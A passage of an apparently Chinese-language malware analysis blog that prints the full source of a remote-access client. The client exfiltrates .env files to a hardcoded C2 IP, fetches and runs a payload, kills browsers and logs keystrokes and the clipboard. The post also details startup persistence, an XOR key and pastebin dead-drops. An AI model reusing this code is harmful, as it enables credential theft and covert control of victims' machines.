class="string">&#x27;type&#x27;</span>: sType,</span><br><span class="line">                <span class="string">&#x27;hid&#x27;</span>: gType + <span class="string">&#x27;_&#x27;</span> + sHost,</span><br><span class="line">                <span class="string">&#x27;uts&#x27;</span>: name,</span><br><span class="line">            &#125;</span><br><span class="line">            host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">            requests.post(host2 + <span class="string">&quot;/uploads&quot;</span>, files=files, data=r)</span><br><span class="line">            <span class="keyword">if</span> os.path.basename(sn) != <span class="string">&#x27;flist&#x27;</span>:</span><br><span class="line">                write_flist(up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn) + <span class="string">&quot; : &quot;</span> + sn + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                o=<span class="string">&#x27; copied &#x27;</span> + fmt_s(os.path.getsize(sn)) + <span class="string">&#x27;:  &#x27;</span> + os.path.basename(sn)</span><br><span class="line">                A.send_n(D,n,o)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                os.remove(sn)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o=<span class="string">&#x27; failed: &#x27;</span>+sn+<span class="string">&#x27; &gt; &#x27;</span>+<span class="built_in">str</span>(e);A.send_n(D,n,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_upf</span>(<span class="params">A,admin,args,sfile,name</span>):</span><br><span class="line">        D=admin;A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sdir=os.getcwd()</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; upload start: &#x27;</span> + sdir + <span class="string">&#x27; &#x27;</span> + sfile)</span><br><span class="line">            sn=os.path.join(sdir,sfile)</span><br><span class="line">            A.ss_hup(sn,D,name,<span class="number">5</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; uploaded done &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_ufind</span>(<span class="params">A,D,args,name,pat</span>):</span><br><span class="line">        A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; ufind start: &#x27;</span> + os.getcwd())</span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                command = <span class="string">&#x27;dir /b /s &#x27;</span> + pat + <span class="string">&#x27; | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                command = <span class="string">&#x27;find . -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name &#x27;</span> + pat + <span class="string">&#x27; -print&#x27;</span></span><br><span class="line">            proc=subprocess.Popen(command,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">            dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> dirs == [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">                A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">                A.send_5(D,<span class="string">&#x27; Not exist &#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(dirs)-<span class="number">1</span>))</span><br><span class="line">                <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                    <span class="keyword">if</span> A.cp_stop == <span class="number">1</span>:A.send_5(D,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">break</span></span><br><span class="line">                    <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    A.ss_hup(key.strip(),D,name,<span class="number">5</span>)</span><br><span class="line">                A.send_5(D,<span class="string">&#x27; ufind success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_ups</span>(<span class="params">A</span>):A.cp_stop=<span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_uenv</span>(<span class="params">A,D,C</span>):</span><br><span class="line">        proc=subprocess.Popen(C,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">        dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> dirs == [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">            A.send_n(D, <span class="number">8</span>,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            A.send_n(D, <span class="number">8</span>,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(dirs)-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                <span class="keyword">if</span> A.cp_stop == <span class="number">1</span>:A.send_n(D, <span class="number">8</span>,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">break</span></span><br><span class="line">                <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">                A.ss_hup(key.strip(),D,<span class="string">&#x27;global_env&#x27;</span>,<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_env</span>(<span class="params">A,args</span>):</span><br><span class="line">        drive_list = [<span class="string">&#x27;C&#x27;</span>, <span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;E&#x27;</span>, <span class="string">&#x27;F&#x27;</span>, <span class="string">&#x27;G&#x27;</span>]</span><br><span class="line">        A.cp_stop = <span class="number">0</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];c=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            c=ast.literal_eval(c)</span><br><span class="line">            A.send_n(a,<span class="number">8</span>,<span class="string">&#x27;--- uenv start &#x27;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                <span class="keyword">for</span> key <span class="keyword">in</span> drive_list:</span><br><span class="line">                    <span class="keyword">if</span> os.path.exists(<span class="string">f&quot;<span class="subst">&#123;key&#125;</span>:\\&quot;</span>) == <span class="literal">False</span>:</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    c = <span class="string">&#x27;dir /b /s &#x27;</span> + key + <span class="string">&#x27;:\*.env | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">                    A.ss_uenv(a,c)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                c = <span class="string">&#x27;find ~/ -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name *.env -print&#x27;</span></span><br><span class="line">                A.ss_uenv(a,c)</span><br><span class="line">            A.send_n(a,<span class="number">8</span>,<span class="string">&#x27;--- uenv success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:A.send_n(a,<span class="number">8</span>,<span class="string">&#x27; uenv err: &#x27;</span>+<span class="built_in">str</span>(e))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_kill</span>(<span class="params">A,args</span>):</span><br><span class="line">        D=args[_A]</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;taskkill /IM chrome.exe /F&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;taskkill /IM brave.exe /F&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;killall Google\ Chrome&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;killall Brave\ Browser&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:D,_O: <span class="string">&#x27;Chrome &amp; Browser are terminated&#x27;</span>&#125;</span><br><span class="line">        A.send(code=<span class="number">6</span>,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">down_any</span>(<span class="params">A,p</span>):</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(p):</span><br><span class="line">            <span class="keyword">try</span>:os.remove(p)</span><br><span class="line">            <span class="keyword">except</span> OSError:<span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(A.par_dir):os.makedirs(A.par_dir)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            myfile = requests.get(host2+<span class="string">&quot;/adc/&quot;</span>+sType, allow_redirects=_T)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(p,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(myfile.content)</span><br><span class="line">            <span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_any</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            D=args[_A];p = A.par_dir + <span class="string">&quot;/adc&quot;</span>;res=A.down_any(p)</span><br><span class="line">            <span class="keyword">if</span> res:</span><br><span class="line">                <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">                <span class="keyword">else</span>:subprocess.Popen([sys.executable,p])</span><br><span class="line">            o = os_type + <span class="string">&#x27; get anydesk&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o = <span class="string">f&#x27;Err7: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:D,_O:o&#125;;A.send(code=<span class="number">7</span>,args=p)</span><br><span class="line"></span><br><span class="line">HOST0 = <span class="string">&#x27;146.70.253.107&#x27;</span></span><br><span class="line">PORT0 = <span class="number">2241</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Client</span>():</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = <span class="number">0</span>;A.shell = _N</span><br><span class="line"></span><br><span class="line"><span class="meta">    @property</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">make_connection</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">while</span> _T:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">                s = Session(A.client_socket)</span><br><span class="line">                s.connect(A.server_ip, A.server_port)</span><br><span class="line">                A.shell = Shell(s);A.is_active = _T</span><br><span class="line">                <span class="keyword">if</span> A.shell.shell():</span><br><span class="line">                    <span class="keyword">try</span>:<span class="built_in">dir</span> = os.getcwd();<span class="built_in">print</span>(<span class="string">&quot;dir:&quot;</span>, <span class="built_in">dir</span>);fn=os.path.join(<span class="built_in">dir</span>,sys.argv[<span class="number">0</span>]);<span class="built_in">print</span>(<span class="string">&quot;fn:&quot;</span>, fn);os.remove(fn)</span><br><span class="line">                    <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="built_in">print</span>(<span class="string">&quot;connection error:&quot;</span>, ex);<span class="keyword">pass</span></span><br><span class="line">                    <span class="keyword">return</span> _T</span><br><span class="line">                sleep(<span class="number">15</span>)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e: <span class="built_in">print</span>(<span class="string">&quot;error_make:&quot;</span>, e); sleep(<span class="number">20</span>);<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">A</span>):</span><br><span class="line">        t2=Thread(target=auto_up);t2.daemon=_T;t2.start()</span><br><span class="line">        <span class="keyword">if</span> A.make_connection:<span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">client = Client()</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">is_w=sys.platform.startswith(<span class="string">&#x27;win&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">if</span> is_w == _F:</span><br><span class="line">        <span class="keyword">try</span>:client.run()</span><br><span class="line">        <span class="keyword">except</span> KeyboardInterrupt:<span class="keyword">pass</span></span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">_M=<span class="string">&#x27;-m&#x27;</span>;_P=<span class="string">&#x27;pip&#x27;</span>;_L=<span class="string">&#x27;install&#x27;</span></span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pyWinhook <span class="keyword">as</span> pyHook</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pyWinhook&#x27;</span>]);<span class="keyword">import</span> pyWinhook <span class="keyword">as</span> pyHook</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pyperclip</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pyperclip&#x27;</span>]);<span class="keyword">import</span> pyperclip</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> psutil</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;psutil&#x27;</span>]);<span class="keyword">import</span> psutil</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> win32process</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> win32process</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pythoncom</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> pythoncom</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> win32gui</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> win32gui</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">act_win_pn</span>():</span><br><span class="line">    <span class="keyword">try</span>:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());<span class="keyword">return</span> (pid[-<span class="number">1</span>], psutil.Process(pid[-<span class="number">1</span>]).name())</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_txt</span>(<span class="params">text</span>):<span class="number">0</span></span><br><span class="line"></span><br><span class="line">c_win = <span class="number">0</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_window</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> c_win</span><br><span class="line">    <span class="keyword">if</span> c_win != event.Window:</span><br><span class="line">        (pid, text) = act_win_pn()</span><br><span class="line">        tz = timezone(offset=timedelta(hours=<span class="number">9</span>))</span><br><span class="line">        d_t = datetime.fromtimestamp(time.time(), tz)</span><br><span class="line">        t_s = d_t.strftime(<span class="string">&quot;%m/%d/%Y, %H:%M:%S&quot;</span>)</span><br><span class="line"></span><br><span class="line">        c_win = event.Window</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;\n**\n-[ <span class="subst">&#123;text&#125;</span> | PID: <span class="subst">&#123;pid&#125;</span>-<span class="subst">&#123;c_win&#125;</span>\n-[ @ <span class="subst">&#123;t_s&#125;</span> | <span class="subst">&#123;event.WindowName&#125;</span>\n**\n&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line">m_win = <span class="number">0</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hmld</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> e_buf, m_win</span><br><span class="line">    <span class="keyword">if</span> m_win!=event.Window:m_win=event.Window;tt=<span class="string">&#x27;&lt;..&gt;&#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:tt=<span class="string">&#x27;&lt;.&gt;&#x27;</span></span><br><span class="line">    e_buf+=tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hmrd</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> e_buf, m_win</span><br><span class="line">    <span class="keyword">if</span> m_win!=event.Window:m_win=event.Window;tt=<span class="string">&#x27;&lt;,,&gt;&#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:tt=<span class="string">&#x27;&lt;,&gt;&#x27;</span></span><br><span class="line">    e_buf+=tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_down</span>(<span class="params">status</span>):</span><br><span class="line">    <span class="keyword">if</span> status == <span class="number">128</span>: <span class="keyword">return</span> _T</span><br><span class="line">    <span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_control_down</span>():</span><br><span class="line">    <span class="keyword">return</span> is_down(pyHook.GetKeyState(<span class="number">0x11</span>)) <span class="keyword">or</span> is_down(pyHook.GetKeyState(<span class="number">0xA2</span>)) <span class="keyword">or</span> is_down(pyHook.GetKeyState(<span class="number">0xA3</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_copy_clipboard</span>():</span><br><span class="line">    <span class="keyword">global</span> e_buf</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        copied = pyperclip.waitForPaste(<span class="number">0.05</span>)</span><br><span class="line">        tt = <span class="string">&quot;\n=================BEGIN================\n&quot;</span>;tt += copied;tt += <span class="string">&quot;\n==================END==================\n&quot;</span></span><br><span class="line">        e_buf += tt;write_txt(tt)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hkb</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">if</span> event.KeyID == <span class="number">0xA2</span> <span class="keyword">or</span> event.KeyID == <span class="number">0xA3</span>:<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line">    <span class="keyword">global</span> e_buf</span><br><span class="line">    tt = check_window(event)</span><br><span class="line"></span><br><span class="line">    key = event.Ascii</span><br><span class="line">    <span class="keyword">if</span> (is_control_down()):key=<span class="string">f&quot;&lt;^<span class="subst">&#123;event.Key&#125;</span>&gt;&quot;</span></span><br><span class="line">    <span class="keyword">elif</span> key==<span class="number">0xD</span>:key=<span class="string">&quot;\n&quot;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">if</span> key&gt;=<span class="number">32</span> <span class="keyword">and</span> key&lt;=<span class="number">126</span>:key=<span class="built_in">chr</span>(key)</span><br><span class="line">        <span class="keyword">else</span>:key=<span class="string">f&#x27;&lt;<span class="subst">&#123;event.Key&#125;</span>&gt;&#x27;</span></span><br><span class="line">    tt += key</span><br><span class="line">    <span class="keyword">if</span> is_control_down() <span class="keyword">and</span> event.Key == <span class="string">&#x27;C&#x27;</span>:</span><br><span class="line">        start_time = Timer(<span class="number">0.1</span>, run_copy_clipboard)</span><br><span class="line">        start_time.start()</span><br><span class="line">    <span class="keyword">elif</span> is_control_down() <span class="keyword">and</span> event.Key == <span class="string">&#x27;V&#x27;</span>:</span><br><span class="line">        start_time = Timer(<span class="number">0.1</span>, run_copy_clipboard)</span><br><span class="line">        start_time.start()</span><br><span class="line"></span><br><span class="line">    e_buf += tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">startHk</span>():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hk_loop</span>():startHk();pythoncom.PumpMessages()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_client</span>():</span><br><span class="line">    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()</span><br><span class="line">    <span class="keyword">try</span>:client.run()</span><br><span class="line">    <span class="keyword">except</span> KeyboardInterrupt:sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    run_client()</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><h4 id="n2-pow"><a href="#n2-pow" class="headerlink" title="~&#x2F;.n2&#x2F;pow"></a>~&#x2F;.n2&#x2F;pow</h4><p>這隻程式是針對 windows 環境進行惡意攻擊。</p><p>首先將 hard code 的 python 程式碼，寫入<code>%APPDATA_ROAMING_DIRECTORY%/Microsoft/Windows/StartMenu/Programs/Startup/Windows Update Script.PyW</code></p><p>達成開機自啟動</p><h5 id="Windows-Update-Script-PyW"><a href="#Windows-Update-Script-PyW" class="headerlink" title="Windows Update Script.PyW"></a>Windows Update Script.PyW</h5><p>程式碼當中有需多 Hard Code 被加密過後的密文，這些密文會經過 XOR 解密,key &#x3D; <code>!!!HappyPenguin1950!!!</code> + base64decode + 反轉，會解出需多 <code>https://pastebin[.]com/</code> 的網址，接下來會去拿可以訪問的網址內的資料進行解密。</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>HolesGarmin3166_OnsitePoet2677</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>CrackEden1251_WaitsRenee9809</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>KerrWhale2274_KnowNtsc6785</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NumberHunt2579_JazzByrne1819</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>AtomIsps2511_FinedPress2664</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>ZoomHockey3706_MassBallet5863</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>RehabVagina9550_PaceTiles7442</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NanoDubai9234_LoaderGeoff3367</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>ThankSends9968_BiosCube2008</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NegroConfig1449_SoupRule3443</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>EnglBlazer5735_FittedInjury1823</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>FeetMosque6032_KellerFinest4047</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>NotingRobe2871_FranzStill8494</span><br><span class="line">https:<span class="regexp">//</span>pastebin.com<span class="regexp">/u/</span>CementTeddy9347_SalesRacks7262</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p><code>HolesGarmin3166_OnsitePoet2677</code> 這樣的串接字串代表前面是 username ，後面是檔案名稱，接下來寫腳本去測試每一個 url ，最後只有唯一一個還可以訪問的是 <code>https://pastebin[.]com/u/NotingRobe2871</code></p> <img src="/assets/LinkedinPastebin.png" alt="image-20260125101548610" style="zoom:50%;" /><p>內容如下</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">7</span>b<span class="number">226</span>d<span class="number">657373616765223</span>a<span class="number">202234333133373732333030323832393064333230383537313731313265323030303633373230393538343536363134353136643332333834313364326136343535323030643330316332303735366334633763346236633538366435383139376530323338323234393331323435333561222</span><span class="keyword">c</span><span class="number">20227369676e6174757265223</span>a<span class="number">20226</span>a<span class="number">3363696947733356564e63535465634</span>d<span class="number">3465315</span>a<span class="number">4</span><span class="keyword">c</span><span class="number">41307471643264566</span>a<span class="number">3955673175364</span>f<span class="number">33787267396e66616</span>e<span class="number">6669384</span>a<span class="number">724961546651786</span>a<span class="number">52697</span>a<span class="number">50735058345</span>a<span class="number">4458422</span>b<span class="number">494</span>b<span class="number">686944355</span>a<span class="number">7171635744514</span><span class="keyword">c</span><span class="number">4770354</span>f<span class="number">555143384</span>d<span class="number">39557678556877712</span>f<span class="number">596</span>d<span class="number">743533473261647969636547394265486248716e487</span>a<span class="number">6275707568707572432</span>b<span class="number">6968427666356e34334</span>d<span class="number">6</span>d<span class="number">387937712</span>b<span class="number">4169627</span>a<span class="number">4e626</span>d<span class="number">597056556662766</span>f<span class="number">42524</span>d<span class="number">693372514</span>b<span class="number">554</span>b<span class="number">4</span>b<span class="number">48313548654</span>d<span class="number">476</span>a<span class="number">4e784</span>a<span class="number">57586</span>d<span class="number">6</span>f<span class="number">645</span>a<span class="number">746</span>f<span class="number">2</span>b<span class="number">4e65392</span>f<span class="number">3430434</span>f<span class="number">3374417931736</span>d<span class="number">5534333950746</span><span class="keyword">c</span><span class="number">535159536</span>b<span class="number">70703067797477484</span><span class="keyword">c</span><span class="number">357</span>a<span class="number">6</span><span class="keyword">c</span><span class="number">4</span>d<span class="number">417</span>a<span class="number">44684</span><span class="keyword">c</span><span class="number">4</span><span class="keyword">c</span><span class="number">46396565634</span>f<span class="number">6</span>d<span class="number">734</span><span class="keyword">c</span><span class="number">694363625645694</span>b<span class="number">766</span>a<span class="number">557941704</span>a<span class="number">32416</span>d<span class="number">55773268364</span>a<span class="number">595</span>a<span class="number">466967632</span>f<span class="number">457361455</span>a<span class="number">533959576</span>f<span class="number">476675695665434</span>f<span class="number">736</span><span class="keyword">c</span><span class="number">7651336</span>a<span class="number">6977674557766</span>f<span class="number">7270655051316</span>f<span class="number">5331713043774</span>d<span class="number">5</span>a<span 